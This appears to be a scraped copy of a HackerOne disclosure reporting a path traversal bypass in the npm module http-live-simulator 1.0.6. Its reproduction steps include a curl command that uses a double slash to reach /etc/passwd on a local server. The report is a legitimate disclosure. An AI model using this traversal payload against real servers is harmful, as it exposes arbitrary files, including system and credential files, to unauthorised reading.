Lucene search

K
hackerone3la2kbH1:411405
HistorySep 19, 2018 - 11:06 a.m.

Node.js third-party modules: [http-live-simulator] Path traversal vulnerability

2018-09-1911:06:04
3la2kb
hackerone.com
14

EPSS

0.004

Percentile

75.2%

Module

module name: http-live-simulatorversion:1.0.6npm page: https://www.npmjs.com/package/http-live-simulator

Description

this vulnerability is a bypass for the one found in this report in version 1.0.5

Steps To Reproduce:

1- Install the module : npm install -g http-live-simulator
2- Run the server : http-live
3- Attempt to access a file from outside that project’s directory, such as curl --path-as-is http://localhost:8080//../../../../etc/passwd

The bypass

adding an extra / after the URL like :

http://localhost:8080//../../../../etc/passwd

mention the double slashes after the port number

Impact

path traversal vulnerability leading to read access in arbitrary files on disk

EPSS

0.004

Percentile

75.2%